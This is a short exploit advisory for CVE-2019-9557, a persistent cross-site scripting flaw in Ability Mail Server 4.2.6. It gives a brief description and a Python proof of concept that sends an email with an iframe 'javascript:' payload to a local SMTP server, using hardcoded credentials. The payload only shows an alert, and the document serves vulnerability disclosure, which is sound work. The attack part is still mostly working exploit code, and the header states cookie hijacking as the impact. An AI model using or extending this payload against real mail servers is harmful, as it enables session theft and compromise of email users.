Ability Mail Server version 4.2.6 suffers from a persistent cross site scripting vulnerability.
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# Exploit Title: Persistent Cross Site Scripting Ability Mail Server 4.2.6
# CVE: CVE-2019-9557
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Vendor Homepage: https://www.codecrafters.com/AbilityMailServer <https://www.codecrafters.com/AbilityMailServer>
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie hijacking
1. Description
> Ability Mail Server 4.2.6 has Persistent Cross Site Scripting (XSS) via
> the body e-mail body. To exploit the vulnerability, the victim must
> open an email with malicious Javascript inserted into the body of the
> email as an iframe.
2. Proof of Concept
#!/usr/bin/env python -tt
# -*- coding: utf-8 -*-
# Import modules
import smtplib
def trigger_persistence_xss():
email_addr = 'attacker@aloyce.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"
s = smtplib.SMTP('192.168.1.172', 25)
s.login(email_addr, "123456")
s.sendmail(email_addr, email_addr, email)
s.quit()
def main():
pass
if __name__ == '__main__':
trigger_persistence_xss()
main()